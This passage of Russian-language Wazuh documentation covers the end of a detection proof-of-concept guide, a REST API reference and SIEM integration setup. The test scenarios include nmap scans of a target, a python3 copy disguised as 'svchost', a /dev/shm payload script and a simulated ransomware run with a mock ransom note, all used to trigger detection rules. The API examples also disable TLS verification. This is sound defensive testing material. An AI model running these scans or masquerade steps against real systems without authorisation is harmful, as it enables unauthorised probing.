| 60104 | 3 | Successful logon (Event ID 4624) |
| 60130 | 8 | Privileged logon (Event ID 4672) |

## Сценарий 13: Обнаружение подозрительных бинарных файлов

Wazuh обнаруживает появление исполняемых файлов в нетипичных директориях. Комбинация FIM и пользовательских правил позволяет отслеживать создание бинарных файлов в `/tmp`, `/var/tmp`, домашних каталогах пользователей и других подозрительных местах.

### Предварительные требования

FIM настроен для мониторинга нетипичных директорий:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/tmp</directories>
  <directories check_all="yes" realtime="yes">/var/tmp</directories>
  <directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>
```

Пользовательское правило:

```xml
<rule id="100300" level="10">
  <if_sid>554</if_sid>
  <field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
  <match>is_executable</match>
  <description>Executable binary created in temporary directory: $(syscheck.path)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>syscheck,suspicious_binary,</group>
</rule>
```

### Команда запуска

```bash
# Компиляция бинарного файла в /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary

# Копирование системного бинарника в /var/tmp
cp /usr/bin/python3 /var/tmp/svchost

# Создание скрипта в /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.sh
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 5 | File added to the system |
| 100300 | 10 | Executable binary created in temporary directory (пользовательское правило) |

### Очистка

```bash
rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.sh
```

## Сценарий 14: Обнаружение сетевого сканирования (Nmap)

Wazuh обнаруживает сетевое сканирование через анализ логов файрвола и IDS. При обнаружении множественных подключений к различным портам с одного IP-адреса генерируется алерт о возможном сканировании.

### Предварительные требования

- На целевом хосте включено логирование файрвола (iptables, Windows Firewall)
- Wazuh Agent мониторит логи файрвола

Рекомендуемая настройка iptables для логирования:

```bash
# Логирование всех новых входящих соединений
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "
```

### Команда запуска

```bash
# С атакующей машины: полное сканирование портов
nmap -sS -p 1-1000 TARGET_IP

# Сканирование с определением сервисов
nmap -sV -p 22,80,443,3306,5432 TARGET_IP

# Агрессивное сканирование (генерирует больше алертов)
nmap -A -T4 TARGET_IP

# UDP-сканирование
nmap -sU --top-ports 100 TARGET_IP
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 581 | 10 | Multiple firewall drop events from same source |
| 4101 | 8 | Firewall drop event |
| 31151 | 10 | Multiple connection attempts from same source |

## Сценарий 15: Обнаружение поведения ransomware

Wazuh обнаруживает типичное поведение ransomware: массовое переименование файлов с добавлением расширения, быстрое изменение множества файлов, удаление теневых копий Windows. Для обнаружения используется комбинация FIM и пользовательских правил.

### Предварительные требования

FIM настроен с `report_changes` и `realtime`:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>
```

Пользовательские правила для обнаружения ransomware:

```xml
<rule id="100400" level="12" frequency="20" timeframe="60">
  <if_matched_sid>550</if_matched_sid>
  <description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,</group>
</rule>

<rule id="100401" level="14">
  <if_sid>554</if_sid>
  <field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
  <description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,critical,</group>
</rule>
```

### Команда запуска

```bash
# Подготовка тестовых данных
mkdir -p /opt/important-data
for i in $(seq 1 30); do
  echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done

# Ожидание первичного сканирования FIM
sleep 30

# Имитация поведения ransomware: массовое переименование с добавлением расширения
for f in /opt/important-data/*.txt; do
  cp "${f}" "${f}.encrypted"
  echo "ENCRYPTED" > "${f}"
done

# Имитация ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txt
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 550 | 7 | Integrity checksum changed (множественные) |
| 554 | 5 | File added to the system (.encrypted) |
| 100400 | 12 | Possible ransomware activity: rapid file modifications |
| 100401 | 14 | Possible ransomware: file with encryption extension created |

### Очистка

```bash
rm -rf /opt/important-data
```

## Рекомендации по проведению PoC

### Порядок выполнения

1. Начните с простых сценариев (FIM, SCA) для проверки базовой работоспособности
2. Переходите к сетевым сценариям (SSH brute-force, Nmap)
3. Завершайте комплексными сценариями (ransomware, rootkit)

### Документирование результатов

Для каждого сценария фиксируйте:

- Время выполнения команды
- Время появления алерта в Dashboard (задержка обнаружения)
- Полный текст алерта (JSON)
- Скриншот из Wazuh Dashboard

### Типичные проблемы

| Проблема | Причина | Решение |
|---|---|---|
| Алерт не появляется | FIM сканирование по расписанию | Включите `realtime="yes"` |
| Нет алертов об уязвимостях | Базы CVE не обновлены | Проверьте `vulnerability-detector` в ossec.conf |
| SCA не запускается | Модуль отключен | Установите `<enabled>yes</enabled>` |
| Docker алерты отсутствуют | Docker listener не настроен | Добавьте wodle `docker-listener` |

Подробнее о возможностях обнаружения читайте в разделе [Возможности Wazuh](/docs/wazuh/capabilities/). Информация о настройке правил доступна в разделе [Разработка](/docs/wazuh/development/).


---

# Wazuh REST API 4.14 - полный справочник

Source: https://opennix.org/docs/wazuh/development/wazuh-api-reference/


REST API Wazuh 4.14 предоставляет программный доступ ко всем функциям платформы: управление агентами, просмотр алертов, администрирование правил и декодеров, мониторинг кластера и управление безопасностью через RBAC. API работает на порту 55000 сервера Wazuh Manager и использует JWT-аутентификацию.

## Аутентификация

### Получение JWT-токена

Все запросы к API требуют JWT-токен, который получается через эндпоинт аутентификации:

```bash
TOKEN=$(curl -sk -u wazuh-wui:YOUR_PASSWORD \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
```

Параметр `raw=true` возвращает только строку токена без JSON-обертки.

### Использование токена

Токен передается в заголовке `Authorization`:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?limit=5"
```

### Срок действия токена

По умолчанию JWT-токен действует 15 минут (900 секунд). Для изменения срока действия используйте эндпоинт настроек безопасности:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X PUT "https://localhost:55000/security/config" \
  -H "Content-Type: application/json" \
  -d '{"auth_token_exp_timeout": 3600}'
```

### Python SDK - аутентификация

```python
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

WAZUH_API = "https://localhost:55000"
CREDENTIALS = ("wazuh-wui", "YOUR_PASSWORD")

def get_token() -> str:
    """Obtain a JWT token from the Wazuh API."""
    response = requests.post(
        f"{WAZUH_API}/security/user/authenticate?raw=true",
        auth=CREDENTIALS,
        verify=False,
    )
    response.raise_for_status()
    return response.text

def api_request(method: str, endpoint: str, **kwargs) -> dict:
    """Execute an authenticated API request."""
    token = get_token()
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.request(
        method,
        f"{WAZUH_API}{endpoint}",
        headers=headers,
        verify=False,
        **kwargs,
    )
    response.raise_for_status()
    return response.json()
```

## Пагинация, фильтрация и сортировка

### Пагинация

Все эндпоинты, возвращающие списки, поддерживают пагинацию:

| Параметр | Описание | По умолчанию | Максимум |
|---|---|---|---|
| `offset` | Смещение от начала | 0 | - |
| `limit` | Количество записей | 500 | 100000 |

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?offset=0&limit=10"
```

### Фильтрация

API поддерживает фильтрацию через query-параметры:

```bash
# Фильтрация агентов по статусу
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?status=active"

# Фильтрация по нескольким параметрам
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?status=active&os.platform=ubuntu"
```

### Поиск

Параметр `search` выполняет полнотекстовый поиск:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?search=web-server"
```

### Сортировка

Параметр `sort` определяет порядок результатов:

```bash
# Сортировка по имени (по возрастанию)
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?sort=+name"

# Сортировка по ID (по убыванию)
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?sort=-id"
```

### Выбор полей

Параметр `select` ограничивает возвращаемые поля:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?select=id,name,status,os.name"
```

## Эндпоинты: Агенты

### GET /agents

Получение списка агентов с поддержкой фильтрации:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents?status=active&limit=5" | jq '.data.affected_items[] | {id, name, status}'
```

Ответ:

```json
{
  "data": {
    "affected_items": [
      {"id": "001", "name": "web-server-01", "status": "active"},
      {"id": "002", "name": "db-server-01", "status": "active"}
    ],
    "total_affected_items": 2,
    "total_failed_items": 0,
    "failed_items": []
  }
}
```

### GET /agents/{agent_id}

Детальная информация об агенте:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/agents/001" | jq '.data.affected_items[0]'
```

### DELETE /agents

Удаление агентов (поддерживает массовое удаление):

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X DELETE "https://localhost:55000/agents?agents_list=005,006&status=disconnected&older_than=7d"
```

### PUT /agents/{agent_id}/restart

Перезапуск агента:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X PUT "https://localhost:55000/agents/001/restart"
```

### PUT /agents/group/{group_id}

Добавление агентов в группу:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X PUT "https://localhost:55000/agents/group/web-servers" \
  -H "Content-Type: application/json" \
  -d '{"agents_list": ["001", "002"]}'
```

### Python SDK - работа с агентами

```python
# Получение списка активных агентов
agents = api_request("GET", "/agents", params={"status": "active", "limit": 100})
for agent in agents["data"]["affected_items"]:
    print(f"Agent {agent['id']}: {agent['name']} ({agent['status']})")

# Перезапуск агента
api_request("PUT", "/agents/001/restart")

# Получение информации об ОС агента
agent_info = api_request("GET", "/agents/001", params={"select": "os.name,os.version,os.platform"})
```

## Эндпоинты: Менеджер

### GET /manager/info

Информация о сервере Wazuh Manager:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/manager/info" | jq '.data.affected_items[0]'
```

### GET /manager/status

Статус всех демонов Wazuh:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/manager/status" | jq '.data.affected_items[0]'
```

### GET /manager/configuration

Текущая конфигурация менеджера:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/manager/configuration?section=global"
```

### GET /manager/logs

Логи менеджера:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/manager/logs?limit=20&sort=-timestamp"
```

### GET /manager/stats

Статистика обработки событий:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/manager/stats?date=$(date +%Y-%m-%d)"
```

## Эндпоинты: Кластер

### GET /cluster/status

Статус кластера:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/cluster/status"
```

### GET /cluster/nodes

Список нод кластера:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/cluster/nodes" | jq '.data.affected_items[] | {name, type, version}'
```

### GET /cluster/healthcheck

Проверка здоровья кластера:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/cluster/healthcheck"
```

### GET /cluster/{node_id}/info

Информация о конкретной ноде:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/cluster/node01/info"
```

## Эндпоинты: Правила

### GET /rules

Получение списка правил:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/rules?limit=10&level=12-15" | jq '.data.affected_items[] | {id, level, description}'
```

### GET /rules/{rule_id}

Детальная информация о правиле:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/rules/5710"
```

### GET /rules/groups

Список групп правил:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/rules/groups"
```

### GET /rules/files

Список файлов правил:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/rules/files?status=custom"
```

### PUT /rules/files/{filename}

Обновление пользовательского файла правил:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X PUT "https://localhost:55000/rules/files/local_rules.xml" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @local_rules.xml
```

## Эндпоинты: Декодеры

### GET /decoders

Получение списка декодеров:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/decoders?limit=10&search=sshd"
```

### GET /decoders/{decoder_name}

Информация о конкретном декодере:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/decoders/sshd"
```

### GET /decoders/files

Список файлов декодеров:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/decoders/files?status=custom"
```

### PUT /decoders/files/{filename}

Обновление пользовательского файла декодеров:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X PUT "https://localhost:55000/decoders/files/local_decoder.xml" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @local_decoder.xml
```

## Эндпоинты: SCA (Security Configuration Assessment)

### GET /sca/{agent_id}

Результаты SCA-проверок для агента:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001" | jq '.data.affected_items[] | {policy_id, pass, fail, score}'
```

### GET /sca/{agent_id}/checks/{policy_id}

Детальные результаты проверок по политике:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title, result}'
```

### Python SDK - SCA отчет

```python
def get_sca_report(agent_id: str) -> list[dict]:
    """Generate an SCA compliance report for an agent."""
    policies = api_request("GET", f"/sca/{agent_id}")
    report = []
    for policy in policies["data"]["affected_items"]:
        total = policy["pass"] + policy["fail"] + policy.get("invalid", 0)
        report.append({
            "policy": policy["policy_id"],
            "score": f"{policy['score']}%",
            "passed": policy["pass"],
            "failed": policy["fail"],
            "total": total,
        })
    return report
```

## Эндпоинты: Уязвимости

### GET /vulnerability/{agent_id}

Обнаруженные уязвимости на агенте:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=10&severity=Critical" \
  | jq '.data.affected_items[] | {cve, name, severity, version}'
```

### GET /vulnerability/{agent_id}/summary/{field}

Сводка уязвимостей по полю:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001/summary/severity"
```

### Python SDK - отчет об уязвимостях

```python
def get_vulnerability_summary(agent_id: str) -> dict:
    """Get vulnerability summary grouped by severity."""
    vulns = api_request(
        "GET",
        f"/vulnerability/{agent_id}",
        params={"limit": 500},
    )

    summary = {"Critical": 0, "High": 0, "Medium": 0, "Low": 0}
    for vuln in vulns["data"]["affected_items"]:
        severity = vuln.get("severity", "Low")
        summary[severity] = summary.get(severity, 0) + 1

    return summary
```

## Эндпоинты: Syscollector (системная инвентаризация)

### GET /syscollector/{agent_id}/os

Информация об операционной системе:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/os"
```

### GET /syscollector/{agent_id}/packages

Установленные пакеты:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/packages?limit=20&sort=-size"
```

### GET /syscollector/{agent_id}/ports

Открытые порты:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/ports?state=listening"
```

### GET /syscollector/{agent_id}/processes

Запущенные процессы:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/processes?limit=20&sort=-resident_size"
```

### GET /syscollector/{agent_id}/netiface

Сетевые интерфейсы:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/netiface"
```

### GET /syscollector/{agent_id}/hardware

Аппаратная информация:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscollector/001/hardware"
```

Wazuh 4.14 добавляет расширенные поля syscollector, включая детальную информацию о CPU, RAM и дисковой подсистеме. Существующие поля остаются обратно совместимыми.

## Эндпоинты: Безопасность и RBAC

### GET /security/users

Список пользователей API:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/security/users"
```

### POST /security/users

Создание пользователя:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X POST "https://localhost:55000/security/users" \
  -H "Content-Type: application/json" \
  -d '{"username": "analyst", "password": "SecureP@ss123!"}'
```

### GET /security/roles

Список ролей RBAC:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/security/roles"
```

### POST /security/roles

Создание роли:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X POST "https://localhost:55000/security/roles" \
  -H "Content-Type: application/json" \
  -d '{"name": "read-only-analyst", "rule": {"FIND": {"r^agent": ["read"]}}}'
```

### POST /security/user/{user_id}/roles

Назначение роли пользователю:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  -X POST "https://localhost:55000/security/user/100/roles?role_ids=2"
```

### GET /security/policies

Список политик RBAC:

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/security/policies"
```

## Коды ошибок

API Wazuh использует стандартные HTTP-коды и собственные коды ошибок:

### HTTP-коды

| Код | Описание |
|---|---|
| 200 | Успешный запрос |
| 400 | Некорректный запрос (невалидные параметры) |
| 401 | Неавторизованный запрос (недействительный токен) |
| 403 | Доступ запрещен (недостаточно прав RBAC) |
| 404 | Ресурс не найден |
| 405 | Метод не поддерживается |
| 429 | Превышен лимит запросов |
| 500 | Внутренняя ошибка сервера |

### Коды ошибок Wazuh

| Код | Описание | Решение |
|---|---|---|
| 1000 | Wazuh Internal Error | Проверьте логи менеджера |
| 1001 | Error in API call | Проверьте параметры запроса |
| 1002 | Resource not found | Убедитесь, что ресурс существует |
| 1003 | Permission denied | Проверьте роли и политики RBAC |
| 1017 | Invalid credentials | Проверьте логин/пароль |
| 1760 | Agent already belongs to a group | Агент уже в указанной группе |

### Обработка ошибок в Python

```python
import requests

def safe_api_request(method: str, endpoint: str, **kwargs) -> dict:
    """Execute an API request with error handling."""
    try:
        result = api_request(method, endpoint, **kwargs)
        if result.get("error", 0) != 0:
            error_msg = result.get("message", "Unknown error")
            raise RuntimeError(f"Wazuh API error: {error_msg}")
        return result
    except requests.exceptions.ConnectionError:
        raise RuntimeError("Cannot connect to Wazuh API")
    except requests.exceptions.HTTPError as e:
        if e.response.status_code == 401:
            raise RuntimeError("Authentication failed - check credentials")
        elif e.response.status_code == 403:
            raise RuntimeError("Access denied - check RBAC permissions")
        raise
```

## Postman Collection

Для тестирования API через Postman создайте коллекцию со следующей структурой:

### Переменные окружения

```json
{
  "wazuh_url": "https://localhost:55000",
  "wazuh_user": "wazuh-wui",
  "wazuh_password": "YOUR_PASSWORD",
  "wazuh_token": ""
}
```

### Pre-request Script (для автоматического обновления токена)

```javascript
const authUrl = pm.environment.get("wazuh_url") + "/security/user/authenticate?raw=true";

pm.sendRequest({
    url: authUrl,
    method: "POST",
    header: {
        "Authorization": "Basic " + btoa(
            pm.environment.get("wazuh_user") + ":" +
            pm.environment.get("wazuh_password")
        )
    }
}, function(err, response) {
    if (!err) {
        pm.environment.set("wazuh_token", response.text());
    }
});
```

### Рекомендуемая структура коллекции

```
Wazuh API v4.14/
├── Authentication/
│   └── POST Authenticate
├── Agents/
│   ├── GET List Agents
│   ├── GET Agent Details
│   ├── PUT Restart Agent
│   └── DELETE Remove Agents
├── Manager/
│   ├── GET Info
│   ├── GET Status
│   └── GET Logs
├── Rules/
│   ├── GET List Rules
│   ├── GET Rule Details
│   └── PUT Update Rules File
├── Decoders/
│   ├── GET List Decoders
│   └── PUT Update Decoders File
├── SCA/
│   ├── GET Policies
│   └── GET Checks
├── Vulnerability/
│   └── GET Agent Vulnerabilities
├── Syscollector/
│   ├── GET OS Info
│   ├── GET Packages
│   ├── GET Ports
│   └── GET Processes
└── Security/
    ├── GET Users
    ├── POST Create User
    ├── GET Roles
    └── POST Assign Role
```

## Ограничения и лимиты API

| Параметр | Значение |
|---|---|
| Максимальный `limit` | 100000 записей |
| Время жизни токена (по умолчанию) | 900 секунд (15 минут) |
| Rate limiting | Настраивается в конфигурации API |
| Максимальный размер тела запроса | 10 MB |
| Параллельные соединения | Зависит от конфигурации сервера |

## Устранение неполадок

### API недоступен

1. Проверьте статус демона API:

```bash
/var/ossec/bin/wazuh-control status | grep wazuh-apid
```

2. Проверьте, что порт 55000 открыт:

```bash
ss -tlnp | grep 55000
```

3. Просмотрите логи API:

```bash
tail -f /var/ossec/logs/api.log
```

### Ошибка 401 при аутентификации

- Убедитесь, что пользователь существует: `GET /security/users`
- Проверьте корректность пароля
- Убедитесь, что токен не истек (срок жизни по умолчанию - 15 минут)

### Ошибка 403 при запросе

- Проверьте назначенные роли: `GET /security/users/{user_id}/roles`
- Убедитесь, что политика RBAC разрешает запрошенное действие
- Для отладки временно используйте пользователя `wazuh` с полными правами

### Медленные ответы API

- Используйте `select` для ограничения возвращаемых полей
- Уменьшите `limit` для пагинированных запросов
- Используйте фильтры для сужения выборки
- Проверьте нагрузку на сервер менеджера

Подробнее о создании пользовательских интеграций с использованием API читайте в разделе [Разработка пользовательских интеграций](/docs/wazuh/development/wazuh-custom-integrations/). Обзор встроенных интеграций доступен в разделе [Интеграции](/docs/wazuh/integrations/).


---

# Wazuh SIEM-интеграции - коннекторы и пересылка

Source: https://opennix.org/docs/wazuh/integrations/wazuh-siem-integrations/


Wazuh 4.14 включает демон `wazuh-integratord`, который обеспечивает передачу алертов во внешние системы безопасности и мониторинга. Встроенные интеграции настраиваются через блок `<integration>` в конфигурационном файле `ossec.conf` на сервере Wazuh Manager. Помимо встроенных коннекторов, платформа поддерживает syslog forwarding и пользовательские webhook-интеграции.

## Демон wazuh-integratord

Демон `wazuh-integratord` запускается автоматически при старте Wazuh Manager и обрабатывает алерты в реальном времени. Для каждой настроенной интеграции демон проверяет условия фильтрации и, при совпадении, формирует JSON-payload для отправки во внешнюю систему.

### Общая структура блока integration

Все встроенные интеграции настраиваются в файле `/var/ossec/etc/ossec.conf` внутри блока `<ossec_config>`:

```xml
<integration>
  <name>integration-name</name>
  <hook_url>https://endpoint.example.com/webhook</hook_url>
  <api_key>YOUR_API_KEY</api_key>
  <level>7</level>
  <rule_id>100001,100002</rule_id>
  <group>authentication_failed,</group>
  <alert_format>json</alert_format>
</integration>
```

Параметры фильтрации:

| Параметр | Описание | Пример |
|---|---|---|
| `<level>` | Минимальный уровень алерта для отправки | `7` - отправлять алерты уровня 7 и выше |
| `<rule_id>` | Список ID правил через запятую | `100001,100002` |
| `<group>` | Группа правил (с завершающей запятой) | `authentication_failed,` |
| `<event_location>` | Фильтр по источнику события | `/var/log/auth.log` |

Если указано несколько параметров фильтрации, они объединяются логическим AND - алерт должен соответствовать всем условиям одновременно.

## Интеграция со Slack

Slack-интеграция отправляет уведомления об алертах в указанный канал через Incoming Webhook.

### Настройка Slack Webhook

1. Перейдите в настройки приложения Slack: **Apps** - **Manage** - **Custom Integrations** - **Incoming WebHooks**
2. Создайте новый webhook и скопируйте URL вида `https://hooks.slack.com/services/T00/B00/XXXX`
3. Добавьте конфигурацию в `ossec.conf`:

```xml
<integration>
  <name>slack</name>
  <hook_url>https://hooks.slack.com/services/T00/B00/XXXX</hook_url>
  <level>10</level>
  <alert_format>json</alert_format>
</integration>
```

### Фильтрация алертов для Slack

Для высоконагруженных сред рекомендуется ограничить отправку только критическими алертами:

```xml
<integration>
  <name>slack</name>
  <hook_url>https://hooks.slack.com/services/T00/B00/XXXX</hook_url>
  <level>12</level>
  <group>attack,exploit,</group>
  <alert_format>json</alert_format>
</integration>
```

Эта конфигурация отправляет в Slack только алерты уровня 12 и выше, принадлежащие группам `attack` или `exploit`.

### Формат уведомлений

Wazuh формирует Slack-сообщение с полями: уровень алерта, описание правила, ID агента, временная метка и источник события. Сообщение визуально размечено цветом в зависимости от уровня критичности.

## Интеграция с PagerDuty

PagerDuty используется для эскалации критических инцидентов с автоматическим оповещением дежурной смены.

### Настройка PagerDuty

1. Создайте сервис в PagerDuty с типом интеграции **Events API v2**
2. Скопируйте Integration Key (Routing Key)
3. Добавьте конфигурацию:

```xml
<integration>
  <name>pagerduty</name>
  <api_key>YOUR_PAGERDUTY_INTEGRATION_KEY</api_key>
  <level>12</level>
  <alert_format>json</alert_format>
</integration>
```

### Управление приоритетами

PagerDuty-интеграция автоматически маппит уровень алерта Wazuh на severity PagerDuty:

| Wazuh Level | PagerDuty Severity |
|---|---|
| 1-4 | info |
| 5-7 | warning |
| 8-11 | error |
| 12-15 | critical |

Алерты уровня 12+ создают инцидент с приоритетом Critical и немедленным оповещением дежурного инженера. Для тонкой настройки маппинга можно модифицировать скрипт интеграции в `/var/ossec/integrations/pagerduty`.

## Интеграция с VirusTotal

VirusTotal-интеграция позволяет автоматически проверять хеши файлов, обнаруженных модулем FIM (File Integrity Monitoring), через API VirusTotal.

### Настройка VirusTotal

1. Зарегистрируйтесь на [virustotal.com](https://www.virustotal.com) и получите API-ключ
2. Добавьте конфигурацию:

```xml
<integration>
  <name>virustotal</name>
  <api_key>YOUR_VIRUSTOTAL_API_KEY</api_key>
  <group>syscheck,</group>
  <alert_format>json</alert_format>
</integration>
```

### Как работает проверка

1. Модуль FIM обнаруживает изменение файла и вычисляет его хеш (MD5, SHA1, SHA256)
2. `wazuh-integratord` отправляет хеш в API VirusTotal
3. VirusTotal возвращает результат проверки: количество антивирусных движков, обнаруживших угрозу
4. Wazuh генерирует дополнительный алерт с результатами проверки

### Ограничения бесплатного API

Бесплатный API VirusTotal ограничен 4 запросами в минуту и 500 запросами в день. Для продуктивных сред с большим объемом FIM-событий рекомендуется использовать Premium API или фильтровать запросы по критическим директориям.

```xml
<integration>
  <name>virustotal</name>
  <api_key>YOUR_VIRUSTOTAL_API_KEY</api_key>
  <rule_id>554</rule_id>
  <alert_format>json</alert_format>
</integration>
```

Правило 554 срабатывает только при добавлении нового файла, что значительно снижает количество API-запросов.

## Интеграция с Shuffle

[Shuffle](https://shuffler.io/) - SOAR-платформа с открытым исходным кодом, которая позволяет создавать автоматизированные workflows для обработки алертов Wazuh.

### Настройка Shuffle

1. Разверните Shuffle и создайте новый Workflow
2. Добавьте триггер типа **Webhook** и скопируйте URL
3. Настройте интеграцию в `ossec.conf`:

```xml
<integration>
  <name>shuffle</name>
  <hook_url>https://shuffle.example.com/api/v1/hooks/HOOK_ID</hook_url>
  <level>5</level>
  <alert_format>json</alert_format>
</integration>
```

### Пример workflow

Типичный Shuffle workflow для обработки алертов Wazuh:

1. Получение алерта через webhook
2. Обогащение данных (IP reputation, WHOIS, geolocation)
3. Классификация по критичности
4. Создание тикета в Jira/ServiceNow
5. Отправка уведомления в Slack
6. При критичности 12+ - запуск Active Response через API Wazuh

Подробнее о SOAR-интеграциях читайте в разделе [Сторонние интеграции](/docs/wazuh/integrations/wazuh-third-party-integrations/).

## Интеграция с TheHive

[TheHive](https://thehive-project.org/) - платформа управления инцидентами, интегрируемая с Wazuh для автоматического создания кейсов из алертов.

### Настройка TheHive

Интеграция с TheHive реализуется через пользовательский скрипт интеграции:

1. Создайте API-ключ в TheHive: **Organization** - **Users** - **API Key**
2. Установите скрипт интеграции:

```bash
cp custom-thehive /var/ossec/integrations/
chmod 750 /var/ossec/integrations/custom-thehive
chown root:wazuh /var/ossec/integrations/custom-thehive
```

3. Добавьте конфигурацию:

```xml
<integration>
  <name>custom-thehive</name>
  <hook_url>http://thehive.example.com:9000/api/alert</hook_url>
  <api_key>YOUR_THEHIVE_API_KEY</api_key>
  <level>10</level>
  <alert_format>json</alert_format>
</integration>
```

### Маппинг полей

Скрипт интеграции преобразует алерт Wazuh в формат TheHive Alert:

| Wazuh Field | TheHive Field |
|---|---|
| `rule.description` | `title` |
| `rule.level` | `severity` (1-4) |
| `rule.mitre.id` | `tags` |
| `agent.name` | `sourceRef` |
| `full_log` | `description` |

## Пользовательские webhook-интеграции

Для систем без встроенной поддержки Wazuh позволяет создавать произвольные webhook-интеграции.

### Создание custom-интеграции

1. Создайте скрипт интеграции на Python:

```python
#!/usr/bin/env python3
import sys
import json
import requests

def main():
    # wazuh-integratord передает 4 аргумента:
    # 1: путь к файлу с алертом (JSON)
    # 2: API-ключ (из <api_key>)
    # 3: hook URL (из <hook_url>)
    # 4: путь к файлу с полным алертом

    alert_file = sys.argv[1]
    api_key = sys.argv[2]
    hook_url = sys.argv[3]

    with open(alert_file) as f:
        alert = json.load(f)

    payload = {
        "source": "wazuh",
        "rule_id": alert.get("rule", {}).get("id"),
        "level": alert.get("rule", {}).get("level"),
        "description": alert.get("rule", {}).get("description"),
